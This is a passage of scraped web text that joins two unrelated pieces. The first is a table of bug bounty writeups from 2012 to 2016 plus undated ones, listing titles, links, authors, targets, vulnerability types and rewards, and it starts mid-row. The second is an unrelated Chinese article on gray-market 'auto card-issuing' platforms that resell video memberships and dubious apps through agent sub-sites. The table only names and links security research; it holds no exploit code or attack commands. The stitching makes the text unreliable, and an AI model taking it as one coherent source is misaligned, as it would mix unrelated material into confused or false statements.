Cobalt.io, Facebook, Mega.nz, Keybase | Race condition | $8,450 | 07/12/2016
[TopCoder.com Vulnerabilities – A tail of site-wide bugs leads to accounts
compromise & payments
hijacking](https://www.seekurity.com/blog/general/topcoder-vulnerabilities-a-tail-of-site-wide-bugs-leads-to-accounts-compromise-payments-hijacking/) |
[Mohamed A. Baset](https://twitter.com/Hxzeroone) | Topcoder.com | CSRF,
Account takeover, Payment hijacking | - | 06/28/2016
[Uber Hacking: How we found out who you are, where you are and where you
went](https://medium.com/@r0t1v/uber-hacking-how-we-found-out-who-you-are-where-you-are-and-where-you-went-1e0769674535) | [Vitor “r0t” Oliveira
(@r0t1v)](https://twitter.com/r0t1v) | Uber | Bruteforce, Information
disclosure, Logic flaw, IDOR | $18,000 | 06/24/2016
[Medium Full Account Takeover By One Click](https://ahussam.me/Medium-full-account-takeover/) | [Abdullah Hussam
(@Abdulahhusam)](https://twitter.com/Abdulahhusam) | Medium | XSS | $100 |
06/23/2016
[Two vulnerabilities makes an Exploit!! (XSS and CSRF in
Bing)](https://medium.com/bugbountywriteup/two-vulnerabilities-makes-an-exploit-xss-and-csrf-in-bing-cd4269da7b69) | [Sai Krishna
Kothapalli](https://twitter.com/kmskrishna) | Microsoft | XSS, CSRF | - |
06/10/2016
[Why you shouldn’t share links on Facebook](https://medium.com/intigriti/why-you-shouldnt-share-links-on-facebook-f317ba4aa58b) | [Inti De
Ceukelaire](https://twitter.com/securinti) | Facebook | - | $0 | 06/09/2016
[Popping the Pornhub Cherry](https://blog.zsec.uk/pwning-pornhub/) | [Andy
Gill](https://twitter.com/ZephrFish) | Pornhub | Information disclosure |
$2,500 | 06/07/2016
[RunKeeper Stored XSS Vulnerability – Where worms are able to run
too!](https://www.seekurity.com/blog/general/runkeeper-stores-xss-vulnerability/) | [Mohamed A. Baset](https://twitter.com/Hxzeroone) |
RunKeeper | Stored XSS, CSRF | - | 06/06/2016
[InstaBrute: Two Ways to Brute-force Instagram Account
Credentials](https://www.arneswinnen.net/2016/05/instabrute-two-ways-to-brute-force-instagram-account-credentials/) | [Arne
Swinnen](https://twitter.com/ArneSwinnen) | Facebook | Bruteforce, User
enumeration | $5,000 | 05/19/2016
[Microsoft Yammer Clickjacking – Exploiting HTML5 Security
Features](https://www.seekurity.com/blog/general/microsoft-yammer-clickjacking-exploiting-html5-security-features/) | [Mohamed A.
Baset](https://twitter.com/Hxzeroone) | Microsoft | Clickjacking | - |
05/18/2016
[When your privacy disclosure is a “feature” not a “bug” – Badoo & HotorNot
failure!](https://www.seekurity.com/blog/general/badoo-hotornot-privacy-disclosure-feature-not-a-bug/) | [Mohamed A.
Baset](https://twitter.com/Hxzeroone) | Badoo, Hot or not | Information
disclosure | $0 | 05/17/2016
[Sleeping stored Google XSS Awakens a $5000 Bounty](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/)
| [Patrik Fehrenbach (@ITSecurityguard)](https://twitter.com/ITSecurityguard)
| Google | Stored XSS | $5000 | 05/17/2016
[How I bypassed Facebook CSRF once again!](https://blog.darabi.me/2016/05/how-i-bypassed-facebook-csrf-in-2016.html) | [Pouya Darabi
(@Pouyadarabi)](https://twitter.com/Pouyadarabi) | Facebook | CSRF | $7,500 |
05/17/2016
[Facebook Vulnerability – a “Cute Bug” that reveals the “likes” of deleted
posts regardless of their privacy
settings](https://www.seekurity.com/blog/general/facebook-vulnerability-a-cute-bug-that-reveals-the-likes-of-deleted-posts-regardless-of-their-privacy-settings/) | [Mohamed Aty](https://twitter.com/m_aty) | Facebook | Logic flaw
| $0 | 05/13/2016
[Fiverr.com Full Accounts Takeover – A Vulnerability Puts $50 Million Company
At Risk](https://www.seekurity.com/blog/general/fiverr-com-full-accounts-takeover-vulnerability/) | [Mohamed A. Baset](https://twitter.com/Hxzeroone) |
Fiverr | CSRF | - | 05/13/2016
[FirefoxOS Find My Device Service Clickjacking Bug results in Changing PINs,
Wiping and Locking Phones!](https://www.seekurity.com/blog/general/firefox-find-my-device-service-clickjacking/) | [Mohamed A.
Baset](https://twitter.com/Hxzeroone) | Mozilla | Clickjacking | - |
05/12/2016
[Poisoning the Well – Compromising GoDaddy Customer Support With Blind
XSS](https://thehackerblog.com/poisoning-the-well-compromising-godaddy-customer-support-with-blind-xss/index.html) | [Matthew Bryant
](https://twitter.com/IAmMandatory) | GoDaddy | Blind XSS | - | 05/08/2016
[Facebook movies recommendation vulnerability – A bug capable of erasing all
your important
notifications!](https://www.seekurity.com/blog/general/facebook-movies-recommendation-bug/) | [Mohamed A. Baset](https://twitter.com/Hxzeroone) |
Facebook | Logic flaw, DoS | - | 05/05/2016
[WhatsApp Clickjacking Vulnerability – Yet another web client
failure!](https://www.seekurity.com/blog/general/whatsapp-clickjacking-vulnerability-yet-another-web-client-failure/) | [Mohamed A.
Baset](https://twitter.com/Hxzeroone) | Facebook | Clickjacking | - |
05/04/2016
[Official Telegram Web Client ClickJacking Vulnerability – When crypto is
strong and client is weak](https://www.seekurity.com/blog/general/telegram-web-client-clickjacking-vulnerability/) | [Mohamed A.
Baset](https://twitter.com/Hxzeroone) | Telegram | Clickjacking | - |
04/28/2016
[Facebook ClickJacking – How we put a new dress on Facebook
UI](https://www.seekurity.com/blog/write-ups/facebook-clickjacking-how-we-put-a-new-dress-on-facebook-ui/) | [Mohamed A.
Baset](https://twitter.com/Hxzeroone) | Facebook | Clickjacking | - |
04/22/2016
[ESEA Server-Side Request Forgery and Querying AWS Meta
Data](https://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/) | [Brett Buerhaus](https://twitter.com/bbuerhaus) |
ESEA | SSRF | $1,000 | 04/18/2016
[Yahoo Login Protection Seal – Stored CSS
Injection](https://buer.haus/2016/04/18/yahoo-login-protection-seal-stored-css-injection/) | [Brett Buerhaus](https://twitter.com/bbuerhaus) | Yahoo |
Stored CSS injection | $0 | 04/18/2016
[Obtaining Login Tokens for an Outlook, Office or Azure
Account](https://whitton.io/articles/obtaining-tokens-outlook-office-azure-account/) | [Jack Whitton](https://twitter.com/fin1te) | Microsoft | CSRF | -| 04/03/2016
[How I Could Compromise 4% (Locked) Instagram
Accounts](https://www.arneswinnen.net/2016/03/how-i-could-compromise-4-locked-instagram-accounts/) | [Arne Swinnen](https://twitter.com/ArneSwinnen) |
Facebook | IDOR, DoS, Authorization flaw | $5,000 | 03/27/2016
[Uber Bug Bounty: Turning Self-XSS into Good-XSS](https://whitton.io/articles/uber-turning-self-xss-into-good-xss/) | [Jack
Whitton](https://twitter.com/fin1te) | Uber | XSS | - | 03/22/2016
[Command injection which got me “6000$” from #Google](http://www.pranav-venkat.com/2016/03/command-injection-which-got-me-6000.html) | [Venkatesh
Sivakumar](https://twitter.com/@pranavvenkats) | Google | Command injection |
$6,000 | 03/15/2016
[Hacking Magento eCommerce For Fun And 17.000
USD](http://karmainsecurity.com/hacking-magento-ecommerce-for-fun-and-17000-usd) | [Venkatesh Sivakumar](https://twitter.com/@pranavvenkats) |
Ebay | Information disclosure, LFI, RFI | $17,000 | 03/03/2016
[Ubiquiti Bug Bounty: UniFi v3.2.10 Generic CSRF Protection
Bypass](https://www.rcesecurity.com/2016/02/ubiquiti-bug-bounty-unifi-v3-2-10-generic-csrf-protection-bypass/) | [Julien
Ahrens](https://twitter.com/MrTuxracer) | Ubiquiti Networks | CSRF | $500 |
02/23/2016
[How I Hacked [Oculus] OAuth +Ebay +IBM](https://ahussam.me/how-i-hacked-oculus-oauth-ebay-ibm/) | [Abdullah Hussam
(@Abdulahhusam)](https://twitter.com/Abdulahhusam) | Facebook, Ebay, IBM,
AnswerHub | Unrestricted file upload, XSS | $0 | 02/12/2016
[A Hilarious ESET Broken Authentication Vulnerability (one click free
purchase)](https://www.seekurity.com/blog/write-ups/eset-broken-authentication-vulnerability/) | [Mohamed A.
Baset](https://twitter.com/Hxzeroone) | ESET | Authentication flaw, SQL
injection | - | 02/12/2016
[How I got access to millions of [redacted]
accounts](https://bitquark.co.uk/blog/2016/02/09/how_i_got_access_to_millions_of_redacted_accounts)
| [Bitquark](https://twitter.com/bitquark) | - | RFI² | - | 02/09/2016
[An XSS on Facebook via PNGs & Wonky Content
Types](https://whitton.io/articles/xss-on-facebook-via-png-content-types/) |
[Jack Whitton](https://twitter.com/fin1te) | Facebook | XSS | - | 01/27/2016
[[manager.paypal.com] Remote Code Execution
Vulnerability](http://artsploit.blogspot.com/2016/01/paypal-rce.html) |
[Michael Stepankin (@artsploit)](https://twitter.com/artsploit) | Paypal | RCE
| - | 01/25/2016
[Broken Access Control in bingmapsportal
!!!](https://medium.com/bugbountywriteup/broken-access-control-in-bingmapsportal-a012bffd2c43) | [Sai Krishna
Kothapalli](https://twitter.com/kmskrishna) | Microsoft | Broken access
control | - | 01/23/2016
[Click Jacking in bingmapsportal](https://medium.com/@kmskrishna/click-jacking-in-bingmapsportal-b5ade37b874e) | [Sai Krishna
Kothapalli](https://twitter.com/kmskrishna) | Microsoft | Clickjacking | - |
01/23/2016
### 5\. Bug bounty writeups published in 2015
Title & URL | Author | Bug bounty program | Vulnerability | Reward $$$ |
Publication date
---|---|---|---|---|---
[Leaking API keys in Bing Maps
Portal](https://medium.com/bugbountywriteup/how-i-got-listed-in-microsoft-hall-of-fame-8f96ca4535c2) | [Sai Krishna
Kothapalli](https://twitter.com/kmskrishna) | Microsoft | IDOR | - |
12/31/2015
[Instagram’s Million Dollar Bug](http://exfiltrated.com/research-Instagram-RCE.php) | [Wesley Wineberg](https://www.linkedin.com/in/wineberg/) | Facebook
| RCE | $2,500 | 12/27/2015
[Cloudflare WAF XSS](https://ahussam.me/Cloudflare-xss/) | [Abdullah Hussam
(@Abdulahhusam)](https://twitter.com/Abdulahhusam) | Cloudflare | XSS | $0 |
11/16/2015
[Open Redirect in Linkedin and Yahoo](https://medium.com/@r0t1v/open-redirect-in-linkedin-and-yahoo-a3ffd2a9cc48) | [Vitor “r0t” Oliveira
(@r0t1v)](https://twitter.com/r0t1v) | Linkedin, Yahoo | Open redirect | - |
24/09/2015
[XSS vulnerability in Google image
search](http://zombiehelp54.blogspot.com/2015/09/how-i-found-xss-vulnerability-in-google.html) | [Mahmoud
Gamal](https://twitter.com/Zombiehelp54) | Google | XSS | - | 09/18/2015
[XSS to RCE in …](https://matatall.com/xss/rce/bugbounty/2015/09/08/xss-to-rce.html) | [Neil Hakuna Matatall](https://twitter.com/ndm) | - | XSS, RCE | -| 09/08/2015
[CVE-2014-7216: A Journey Through Yahoo’s Bug Bounty
Program](https://www.rcesecurity.com/2015/09/cve-2014-7216-a-journey-through-yahoos-bug-bounty-program/) | [Julien Ahrens](https://twitter.com/MrTuxracer)
| Yahoo | Buffer Overflow | $0 | 09/03/2015
[Blind SQL Inejction [Hootsuite]](https://ahussam.me/Blind-sqli-Hootsuite/) |
[Abdullah Hussam (@Abdulahhusam)](https://twitter.com/Abdulahhusam) |
Hootsuite | Blind SQL injection | - | 08/01/2015
[One Payload to XSS Them All!](https://ahussam.me/One-payload-to-xss-them/) |
[Abdullah Hussam (@Abdulahhusam)](https://twitter.com/Abdulahhusam) | Adobe |
Flash XSS | - | 08/03/2015
[Bypassing Google Authentication on Periscope’s Administration
Panel](https://whitton.io/articles/bypassing-google-authentication-on-periscopes-admin-panel/) | [Jack Whitton](https://twitter.com/fin1te) | Google
| Authentication bypass | - | 07/20/2015
[The easiest bug bounties I have ever
won](https://josipfranjkovic.blogspot.com/2015/07/the-easiest-bug-bounties-i-have-ever-won.html) | [Josip Franjkovic](https://twitter.com/josipfranjkovic)
| Facebook | IDOR | - | 13/07/2015
[Bypass ad account roles vulnerability
2015](https://blog.darabi.me/2015/03/facebook-bypass-ads-account-roles.html) |
[Pouya Darabi (@Pouyadarabi)](https://twitter.com/Pouyadarabi) | Facebook |
Authorization flaw | $8,000 | 05/15/2015
[Race conditions on Facebook, DigitalOcean and others
(fixed)](https://josipfranjkovic.blogspot.com/2015/04/race-conditions-on-facebook.html) | [Josip Franjkovic](https://twitter.com/josipfranjkovic) |
Facebook, DigitalOcean, LastPass | Race condition | - | 04/27/2015
[How I bypassed Facebook CSRF
Protection](https://blog.darabi.me/2015/04/bypass-facebook-csrf.html) | [Pouya
Darabi (@Pouyadarabi)](https://twitter.com/Pouyadarabi) | Facebook | CSRF |
$15,000 | 04/09/2015
[Neglected DNS records exploited to takeover
subdomains](https://yassineaboukir.com/blog/neglected-dns-records-exploited-to-takeover-subdomains/) | [Yassine Aboukir
(@Yassineaboukir)](https://twitter.com/Yassineaboukir) | Heroku | Subdomain
takeover | - | 02/20/2015
[Google.com – Mobile Feedback URL Redirect Regex/Validation
Flaw](https://buer.haus/2015/02/03/google-com-mobile-feedback-url-redirect-regexvalidation-flaw/) | [Brett Buerhaus](https://twitter.com/bbuerhaus) |
Google | Open redirect | $500 | 02/03/2015
[Flickr API Explorer – Force users to execute any API
request.](https://buer.haus/2015/02/03/flickr-api-explorer-force-users-to-execute-any-api-request/) | [Brett Buerhaus](https://twitter.com/bbuerhaus) |
Yahoo | CSRF | $100 | 02/03/2015
[admin.google.com Reflected Cross-Site Scripting
(XSS)](https://buer.haus/2015/01/21/admin-google-com-reflected-cross-site-scripting-xss/) | [Brett Buerhaus](https://twitter.com/bbuerhaus) | Google |
Reflected XSS | $5,000 | 01/21/2015
[Yahoo – Root Access SQL Injection –
tw.yahoo.com](https://buer.haus/2015/01/15/yahoo-root-access-sql-injection-tw-yahoo-com/) | [Brett Buerhaus](https://twitter.com/bbuerhaus) | Yahoo | SQL
injection | - | 01/15/2015
[Papyal XML Upload Cross Site Scripting Vulnerability](https://blog.it-securityguard.com/bugbounty-papyal-xml-upload-cross-site-scripting-vulnerability/) | [Patrik Fehrenbach
(@ITSecurityguard)](https://twitter.com/ITSecurityguard) | Paypal | XSS | - |
01/07/2015
### 6\. Bug bounty writeups published in 2014
Title & URL | Author | Bug bounty program | Vulnerability | Reward $$$ |
Publication date
---|---|---|---|---|---
[How I discovered a 1000$ open redirect in
Facebook](http://yassineaboukir.com/blog/how-i-discovered-a-1000-open-redirect-in-facebook/) | [Yassine Aboukir
(@Yassineaboukir)](https://twitter.com/Yassineaboukir) | Facebook | Open
redirect | $1,000 | 12/30/2014
[Reflected Cross Site Scripting at Paypal.com](https://blog.it-securityguard.com/bugbounty-reflected-cross-site-scripting-at-paypal-com/) |
[Patrik Fehrenbach (@ITSecurityguard)](https://twitter.com/ITSecurityguard) |
Paypal | Reflected XSS | - | 12/15/2014
[Malicious redirect on mailroom.prezi.com](https://blog.it-securityguard.com/bugbounty-malicious-redirect-on-mailroom-prezi-com/) |
[Patrik Fehrenbach (@ITSecurityguard)](https://twitter.com/ITSecurityguard) |
Prezi | Open redirect | $500 | 12/10/2014
[Reading local files from Facebook’s server
(fixed)](https://josipfranjkovic.blogspot.com/2014/12/reading-local-files-from-facebooks.html) | [Josip Franjkovic](https://twitter.com/josipfranjkovic)
| Facebook | LFI, Arbitrary File upload | - | 12/06/2014
[Google Bug Bounty: Nice Catch on Google Cloud Platform
Live](https://www.rcesecurity.com/2014/11/google-bug-bounty-nice-catch-on-google-cloud-platform-live/) | [Julien Ahrens](https://twitter.com/MrTuxracer)
| Google | Reflected XSS | - | 11/20/2014
[Reflected Cross Site Scripting BillMeLater](https://blog.it-securityguard.com/bugbounty-reflected-cross-site-scripting-billmelater/) |
[Patrik Fehrenbach (@ITSecurityguard)](https://twitter.com/ITSecurityguard) |
BillMeLater | Reflected XSS | $0 | 11/17/2014
[Paypal stored XSS + Security bypass](https://blog.it-securityguard.com/bugbounty-paypal-stored-xss-security-bypass/) | [Patrik
Fehrenbach (@ITSecurityguard)](https://twitter.com/ITSecurityguard) | Paypal |
Stored XSS | - | 11/11/2014
[Paypal DOM XSS main domain](https://blog.it-securityguard.com/bugbounty-paypal-dom-xss-main-domain/) | [Patrik Fehrenbach
(@ITSecurityguard)](https://twitter.com/ITSecurityguard) | Paypal | DOM XSS |
- | 11/05/2014
[The 5000$ Google XSS](https://blog.it-securityguard.com/bugbounty-the-5000-google-xss) | [Patrik Fehrenbach
(@ITSecurityguard)](https://twitter.com/ITSecurityguard) | Google | XSS |
$5000 | 10/31/2014
[Facebook Bug Bounty: secondary damage (revisited) why I really like reporting
to Facebook too :)](https://philippeharewood.com/facebook-bug-bounty-secondary-damage-revisited-why-i-really-like-reporting-to-facebook-too/) |
[Philippe Harewood](https://twitter.com/phwd) | Facebook | Logic flaw,
AUthorization flaw | - | 10/30/2014
[Yahoo phpinfo.php disclosure](https://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/) | [Patrik Fehrenbach
(@ITSecurityguard)](https://twitter.com/ITSecurityguard) | Yahoo | Information
disclosure | - | 10/16/2014
[Step-by-step: exploiting SQL injection(s) in Oculus’
website.](https://josipfranjkovic.blogspot.com/2014/09/step-by-step-exploiting-sql-injection.html) | [Josip
Franjkovic](https://twitter.com/josipfranjkovic) | Facebook | SQL injection |
- | 09/05/2014
[Popping a shell on the Oculus developer
portal](https://bitquark.co.uk/blog/2014/08/31/popping_a_shell_on_the_oculus_developer_portal)
| [Bitquark](https://twitter.com/bitquark) | Facebook | SQL injection, CSRF,
RCE, IDOR | $30,000 | 08/31/2014
[Flickr XSRF to Change Photo Details](https://ahussam.me/Flickr-CSRF/) |
[Abdullah Hussam (@Abdulahhusam)](https://twitter.com/Abdulahhusam) | Yahoo |
XSRF | - | 08/06/2014
[Facebook – Stored Cross-Site Scripting (XSS) –
Badges](https://buer.haus/2014/06/16/facebook-stored-cross-site-scripting-xss-badges/) | [Brett Buerhaus](https://twitter.com/bbuerhaus) | Facebook | Stored
XSS | - | 01/16/2014
[ebay bug bounty](https://thehackerblog.com/ebay-mobile-reflected-xss-disclosure-writeup/index.html) | [Matthew Bryant
](https://twitter.com/IAmMandatory) | Ebay | Reflected XSS | - | 06/06/2014
[Prezi (map.prezi.com) Path Traversal](https://blog.it-securityguard.com/bug-bounty-prezi-map-prezi-com-path-traversal/) | [Patrik Fehrenbach
(@ITSecurityguard)](https://twitter.com/ITSecurityguard) | Prezi | Path
traversal | $1000 | 05/21/2014
[Magix Bug Bounty: magix.com (RCE, SQLi) and xara.com (LFI,
XSS)](https://www.rcesecurity.com/2014/04/magix-bug-bounty-magix-com-rce-sqli-and-xara-com-lfi-xss/) | [Julien Ahrens](https://twitter.com/MrTuxracer) |
Magix | RCE, SQLI, LFI, XSS | - | 04/26/2014
[A Tale of 7 Vulnerabilities](https://blog.it-securityguard.com/a-tale-of-7-vulnerabilities-paypal-bug-bounty/) | [Patrik Fehrenbach
(@ITSecurityguard)](https://twitter.com/ITSecurityguard) | Paypal | Stored
XSS, Reflected XSS, Default credentials, Privilege escalation | $0 |
04/20/2014
[Facebook – Send Notifications to any User
Exploit](https://buer.haus/2014/04/07/facebook-send-notifications-to-any-user-exploit/) | [Brett Buerhaus](https://twitter.com/bbuerhaus) | Facebook | Logic
flaw | - | 04/07/2014
[Google Exploit – Steal Account Login Email
Addresses](http://www.tomanthony.co.uk/blog/google-exploit-steal-login-email-addresses/) | Tom Anthony | Google | Information disclosure | $1,337 |
03/08/2014
[Tesla Motors blind SQL
injection](https://bitquark.co.uk/blog/2014/02/23/tesla_motors_blind_sql_injection)
| [Bitquark](https://twitter.com/bitquark) | Tesla Motors | SQL injection | -| 02/23/2014
[How I hacked Github again.](http://homakov.blogspot.com/2014/02/how-i-hacked-github-again.html) | [Egor Homakov (homakov)](Egor Homakov ) | Github | Open
redirect, Account takeover, Information disclosure | $4,000 | 02/07/2014
### 7\. Bug bounty writeups published in 2013
Title & URL | Author | Bug bounty program | Vulnerability | Reward $$$ |
Publication date
---|---|---|---|---|---
[Google Sites: A Tale of Five
Vulnerabilities](https://bitquark.co.uk/blog/2013/12/30/google_sites_a_tale_of_five_vulnerabilities)
| [Bitquark](https://twitter.com/bitquark) | Google | XSS, LFI, HTML injection
| $13,034.80 | 12/30/2013
[Waze arbitrary file upload](http://blog.shashank.co/2013/12/waze-arbitrary-file-upload.html) | [Shashank](https://twitter.com/cyberboyIndia) | Waze |
Arbitrary file upload | $100 | 12/25/2013
[Imgur xss](http://blog.shashank.co/2013/12/imgur-xss.html) |
[Shashank](https://twitter.com/cyberboyIndia) | Imgur | XSS | - | 12/19/2013
[Abusing CORS for an XSS on Flickr](https://whitton.io/articles/abusing-cors-for-an-xss-on-flickr/) | [Jack Whitton](https://twitter.com/fin1te) | Yahoo |
XSS | - | 12/12/2013
[Heroku Directory Transversal](http://blog.shashank.co/2013/12/heroku-directory-transversal.html) | [Shashank](https://twitter.com/cyberboyIndia) |
Heroku | Directory traversal | - | 12/03/2013
[XSS - Google Groups (groups.google.com) - Vulnerability Reward
Program](http://manuel-sousa.blogspot.com/2013/11/xss-google-groups-groupsgooglecom.html) | [Manuel Sousa
(@manuelvsousa)](https://twitter.com/manuelvsousa) | Google | Reflected XSS |
$3,133.7 | 11/30/2013
[Oracle xss](http://blog.shashank.co/2013/11/oracle-xss.html) |
[Shashank](https://twitter.com/cyberboyIndia) | Oracle | XSS | - | 11/17/2013
[Instagram’s One-Click Privacy Switch](https://whitton.io/articles/instagrams-one-click-privacy-switch/) | [Jack Whitton](https://twitter.com/fin1te) |
Facebook | CSRF | - | 10/31/2013
[Nokia email app pwnage](http://blog.shashank.co/2013/10/nokia-email-app-pwnage.html) | [Shashank](https://twitter.com/cyberboyIndia) | Nokia | XSS | -| 10/22/2013
[LFI in Nokia maps](http://blog.shashank.co/2013/10/lfi-in-nokia-maps.html) |
[Shashank](https://twitter.com/cyberboyIndia) | Nokia | LFI | - | 10/22/2013
[Facebook bug bounty: secondary damage (one report that leads to more bugs),
fairness, and why I really like reporting to Facebook
](https://josipfranjkovic.blogspot.com/2013/11/facebook-bug-bounty-secondary-damage.html) | [Josip Franjkovic](https://twitter.com/josipfranjkovic) |
Facebook | CSRF | - | 10/21/2013
[Content Types and XSS: Facebook Studio](https://whitton.io/articles/content-types-and-xss-facebook-studio/) | [Jack Whitton](https://twitter.com/fin1te) |
Facebook | XSS | - | 10/21/2013
[Facebook CSRF leading to full account takeover
(fixed)](https://www.josipfranjkovic.com/blog/facebook-csrf-full-account-takeover) | [Josip Franjkovic](https://twitter.com/josipfranjkovic) | Facebook
| CSRF, Account takeover | $8,450 | 10/18/2013
[PayPal Bug Bounty: PayPaltech.com E-Mail
Injection](https://www.rcesecurity.com/2013/09/paypal-bug-bounty-paypaltech-com-e-mail-injection/) | [Julien Ahrens](https://twitter.com/MrTuxracer) |
Paypal | Email injection | - | 09/26/2013
[Removing Covers Images on Friendship Pages, on
Facebook](https://whitton.io/articles/removing-covers-images-on-friendship-pages-on-facebook/) | [Jack Whitton](https://twitter.com/fin1te) | Facebook |
Authorization flaw | - | 09/25/2013
[SQL injections in Nokia
sites.](https://josipfranjkovic.blogspot.com/2013/07/sql-injections-in-nokia-sites.html) | [Josip Franjkovic](https://twitter.com/josipfranjkovic) | Nokia
| SQL injection | $0, 1 Nokia Lumia 820 | 07/30/2013
[How I found my way into Instagram’s Ganglia, and a bug with Facebook
likes.](https://josipfranjkovic.blogspot.com/2013/07/how-i-found-my-way-into-instagrams.html) | [Josip Franjkovic](https://twitter.com/josipfranjkovic) |
Facebook | Reflected XSS, IDOR | - | 07/23/2013
[Admob creative image cross-site scripting
vulnerability](https://bitquark.co.uk/blog/2013/07/19/admob_creative_image_xss)
| [Bitquark](https://twitter.com/bitquark) | Google | XSS | - | 07/19/2013
[Amazon packaging feedback cross-site scripting
vulnerability](https://bitquark.co.uk/blog/2013/07/03/amazon_packaging_feedback_xss)
| [Bitquark](https://twitter.com/bitquark) | Amazon | XSS | $0 | 07/03/2013
[Hijacking a Facebook Account with SMS](https://whitton.io/articles/hijacking-a-facebook-account-with-sms/) | [Jack Whitton](https://twitter.com/fin1te) |
Facebook | Authorization flaw, account takeover | $20,000 | 06/26/2013
[Overwriting Banner Images on Etsy](https://whitton.io/articles/overwriting-banner-images-on-etsy/) | [Jack Whitton](https://twitter.com/fin1te) | Etsy |
Authorization flaw | - | 05/21/2013
[PayPal Bug Bounty: PayPaltech.com
XSS](https://www.rcesecurity.com/2013/04/paypal-bug-bounty-paypaltech-com-xss/) | [Julien Ahrens](https://twitter.com/MrTuxracer) | Paypal | XSS | - |
04/13/2013
[Stealing Facebook Access Tokens with a Double
Submit](https://whitton.io/articles/stealing-facebook-access-tokens-with-a-double-submit/) | [Jack Whitton](https://twitter.com/fin1te) | Facebook |
CSRF, OAuth flaw | - | 04/13/2013
[ How I Rewarded with USD?K Just With a Simple Search
Form](http://c0rni3sm.blogspot.com/2013/04/how-i-rewarded-with-usdk-just-with.html) | [@yappare](https://twitter.com/yappare) | Paypal | SQL injection
| - | 04/11/2013
[Framing, Part 1: Click-Jacking Etsy](https://whitton.io/archive/framing-part-1-click-jacking-etsy) | [Jack Whitton](https://twitter.com/fin1te) | Etsy
| Clickjacking | - | 02/05/2013
[Persistent XSS on myworld.ebay.com](https://whitton.io/archive/persistent-xss-on-myworld-ebay-com/) | [Jack Whitton](https://twitter.com/fin1te) | Ebay
| XSS | - | 01/27/2013
[Google.com cross site scripting and privilege escalation in Consumer Surveys
](https://josipfranjkovic.blogspot.com/2013/01/googlecom-cross-site-scripting-and.html) | [Josip Franjkovic](https://twitter.com/josipfranjkovic) | Google |
Stored XSS, Authorization flaw | - | 01/03/2013
### 8\. Bug bounty writeups published in 2012
Title & URL | Author | Bug bounty program | Vulnerability | Reward $$$ |
Publication date
---|---|---|---|---|---
[My Experience with the PayPal Bug Bounty
Programme](https://whitton.io/archive/my-experience-with-the-paypal-bug-bounty-programme/) | [Jack Whitton](https://twitter.com/fin1te) | Paypal |
CSRF | $750 | 10/12/2012
### 9\. Bug bounty writeups with unknown publication date
Title & URL | Author | Bug bounty program | Vulnerability | Reward $$$ |
Publication date
---|---|---|---|---|---
[parameter pollution bug at twitter](https://blog.mert.ninja/twitter-hpp-vulnerability/) | [Mert (@merttasci_)](https://twitter.com/merttasci_) |
Twitter | HPP | - | -
[G Suite - Device Management
XSS](https://sites.google.com/securifyinc.com/vrp-writeups/gsuite/bookmark-xss-device-management) | [Uranium238
(@uraniumhacker)](https://twitter.com/uraniumhacker) | Google | XSS | - | -
[Auth Issues](https://sites.google.com/securifyinc.com/vrp-writeups/hire-with-google/auth-issues) | [Uranium238
(@uraniumhacker)](https://twitter.com/uraniumhacker) | Google | Authentication
flaw, Logic flaw | - | -
[Multiple XSS](https://sites.google.com/securifyinc.com/vrp-writeups/hire-with-google/xsses) | [Uranium238
(@uraniumhacker)](https://twitter.com/uraniumhacker) | Google | Stored XSS | -| -
[Blind XSS against a Googler](https://sites.google.com/securifyinc.com/vrp-writeups/hire-with-google/blind-xss) | [Uranium238
(@uraniumhacker)](https://twitter.com/uraniumhacker) | Google | Blind XSS | -| -
[Stored XSS on biz.waze.com](https://sites.google.com/securifyinc.com/vrp-writeups/waze/waze-xss) | [Uranium238
(@uraniumhacker)](https://twitter.com/uraniumhacker) | Google | XSS | - | -
[CSRF ‘protection’ bypass on xvideos](https://zseano.com/blogs/4.html) |
[@zseano](https://twitter.com/zseano) | xvideos | CSRF | - | -
[Open URL redirects to grab FB OAuth Tokens](https://zseano.com/blogs/2.html)
| [@zseano](https://twitter.com/zseano) | Auto Trader | Open redirect | $0 | -
[XML XSS via POST](https://zseano.com/blogs/1.html) |
[@zseano](https://twitter.com/zseano) | - | XSS | - | -
[$10k host header](https://sites.google.com/site/testsitehacking/10k-host-header) | [Ezequiel Pereira](https://twitter.com/epereiralopez) | Google |
Authorization flaw | $10,000 | -
[$7.5k Google services mix-up](https://sites.google.com/site/testsitehacking/-7-5k-Google-services-mix-up) | [Ezequiel Pereira](https://twitter.com/epereiralopez) | Google | Logic
flaw | $7,500 | -
[$5k Service
dependencies](https://sites.google.com/site/testsitehacking/-5k-service-dependencies) | [Ezequiel Pereira](https://twitter.com/epereiralopez) | Google
| Logic flaw | $5,000 | -
[$500 getClass](https://sites.google.com/site/testsitehacking/-500-getclass) |
[Ezequiel Pereira](https://twitter.com/epereiralopez) | Google | Java
vulnerability | $500 | -
* * * | 社区文章 |
# 19.9元包年的视频会员账号，都是哪来的？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
用户在网上看到 **爱转发货源对接平台（24小时自动发卡平台）**
，平台售卖话费、微信辅助、爆粉、微商辅助等软件。注册并付费成为代理后，可以获得对应的分站二级域名，其他人通过此分站域名进入网站并下单，用户可获得对应商品的佣金提成。
用户没有开通代理分站，而是根据网站平台显示的联系方式，添加了群主的微信，分别向对方支付168元、120元、150元购买了网站搭建服务、域名、支付通道，并将在指定支付通道获得的ID和商户密钥提供给群主后，对方帮其将支付通道对接到网站中，就这样，
**复制了一个和爱转发货源对接平台模式一样的网站。**
用户的朋友在其开通的网站下单1000元，购买了8年的QQ超级会员，但支付通道无法提现，疑似支付通道跑路。
## “24小时自动发卡平台”到底是个啥？
行业称为 **24小时自动发货或卡盟，提供一站式售卖虚拟商品。**
用户在平台下单，平台自动给用户发货（软件激活密钥），商品包含应用多开、爆粉人脉、微信辅助、虚拟定位、微商辅助、支付宝十六星认证代点亮、代办营业执照、超级会员等。
**售卖的资源基本上都是些黑灰应用，应用稳定性无法保证，可能随时跑路。**
## 分站运营模式
n商品上架：分站暂时都不支持自己上架商品，但可以修改销售价格。
n货源及订单：所有商品全部由主站提供，无需担心货源问题，所有订单由主站来处理。可联系主站客服添加你想要的商品。
n佣金：用户在你分站域名下的网站下单，付款成功后，你可获得差价金额的佣金，可自行设置销售价格。
n提现：分站后台显示完整的消费明细和余额信息，后台余额可用在平台消费。满100元可以在后台提现到QQ钱包微信或者支付宝中。
